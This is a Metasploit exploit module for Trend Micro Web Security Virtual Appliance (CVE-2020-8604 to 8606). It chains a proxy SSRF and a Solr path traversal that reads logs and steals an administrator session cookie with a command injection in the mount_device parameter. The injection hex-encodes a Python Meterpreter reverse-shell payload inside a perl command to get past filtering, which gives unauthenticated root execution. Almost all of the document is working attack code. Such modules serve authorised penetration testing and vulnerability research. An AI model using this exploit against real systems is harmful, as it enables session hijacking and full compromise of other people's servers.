##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Trend Micro Web Security (Virtual Appliance) Remote Code Execution',
      'Description'    => %q{
        This module exploits multiple vulnerabilities together in order to achive a remote code execution.
        Unauthenticated users can execute a terminal command under the context of the root user.

        The specific flaw exists within the LogSettingHandler class of administrator interface software.
        When parsing the mount_device parameter, the process does not properly validate a user-supplied string
        before using it to execute a system call. An attacker can leverage this vulnerability to execute code in
        the context of root. But authentication is required to exploit this vulnerability.

        Another specific flaw exist within the proxy service, which listens on port 8080 by default. Unauthenticated users
        can exploit this vulnerability in order to communicate with internal services in the product.

        Last but not least flaw exists within the Apache Solr application, which is installed within the product.
        When parsing the file parameter, the process does not properly validate a user-supplied path prior to using it in file operations.
        An attacker can leverage this vulnerability to disclose information in the context of IWSS user.

        Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the root user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Mehmet Ince <mehmet@mehmetince.net>' # discovery & msf module
        ],
      'References'     =>
        [
          ['CVE', '2020-8604'],
          ['CVE', '2020-8605'],
          ['CVE', '2020-8606'],
          ['ZDI', '20-676'],
          ['ZDI', '20-677'],
          ['ZDI', '20-678']
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'SSL' => true,
          'payload' => 'python/meterpreter/reverse_tcp',
          'WfsDelay'     => 30
        },
      'Platform'       => ['python'],
      'Arch'           => ARCH_PYTHON,
      'Targets'        => [ ['Automatic', {}] ],
      'DisclosureDate' => '2020-06-10',
      'DefaultTarget'  => 0
       ))

    register_options(
      [
        Opt::RPORT(8443),
        OptInt.new('PROXY_PORT', [true, 'Port number of Trend Micro Web Filter Proxy service', 8080])
      ]
    )
  end

  def target_unreachable(res)
    unless res
      fail_with(Failure::Unreachable, 'Target is unreachable.')
    end
  end

  def leak_logfile
    # Updating SSL and RPORT in order to communicate with HTTP proxy service.
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end
    port_restore = datastore['RPORT']
    datastore['RPORT'] = datastore['PROXY_PORT']

    vprint_status('Trying to extract session ID by exploiting reverse proxy service')

    @res = send_request_cgi({
    'method' => 'GET',
    'uri'    => "http://#{datastore['RHOST']}:8983/solr/collection0/replication",
    'vars_get' => {
      'command' => 'filecontent',
      'wt'      => 'filestream',
      'generation' => 1,
      'file'    => "../"*7 << "var/iwss/tomcat/logs/catalina.out",
      }
    })
    target_unreachable(@res)
    vprint_good('Successfully exploited reverse proxy service !')
    # Restore variables and validate extracted sessionid
    datastore['SSL'] = true if ssl_restore
    datastore['RPORT'] = port_restore
    @res
  end

  def extract_cookie

    @jsessionid = @res.body.scan(/JSESSIONID=(.*)/).flatten.last || ''

    if @jsessionid.empty?
      fail_with(Failure::UnexpectedReply, 'There is no JSESSIONID in log file.')
    end

    print_good("Latest session id is successfully extracted : #{@jsessionid}")

    # Validate session
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri('rest', 'commonlog', 'get_sessionID'),
      'cookie' => "JSESSIONID=#{@jsessionid}"
    })

    target_unreachable(res)

    unless res.code == 200
      fail_with(Failure::NoAccess, 'Extracted cookie is not valid. Wait for sysadmin to login !')
    end
    @jsessionid
  end

  def check
    leak_logfile
    unless @res.code == 200
      Exploit::CheckCode::Safe
    else
      Exploit::CheckCode::Vulnerable
    end
  end

  def exploit

    unless check == CheckCode::Vulnerable
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end


    print_status('Exploiting command injection vulnerability')

    # Yet another app specific bypass is going on here.
    # It's so buggy to make the cmd payloads work under the following circumstances (Weak blacklisting, double escaping etc)
    # For that reason, I am planting our payload dropper within the perl command.

    cmd = "python -c \"#{payload.encoded}\""
    final_payload = cmd.to_s.unpack("H*").first
    p = "perl -e 'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"

    vars_post = {
        mount_device: "mount $(#{p}) /var/offload",
        cmd: 'mount'
    }

    send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'rest', 'commonlog', 'log_setting', 'mount_device'),
      'cookie' => "JSESSIONID=#{extract_cookie}",
      'ctype'  => 'application/json',
      'data'   => vars_post.to_json
    })
  end
end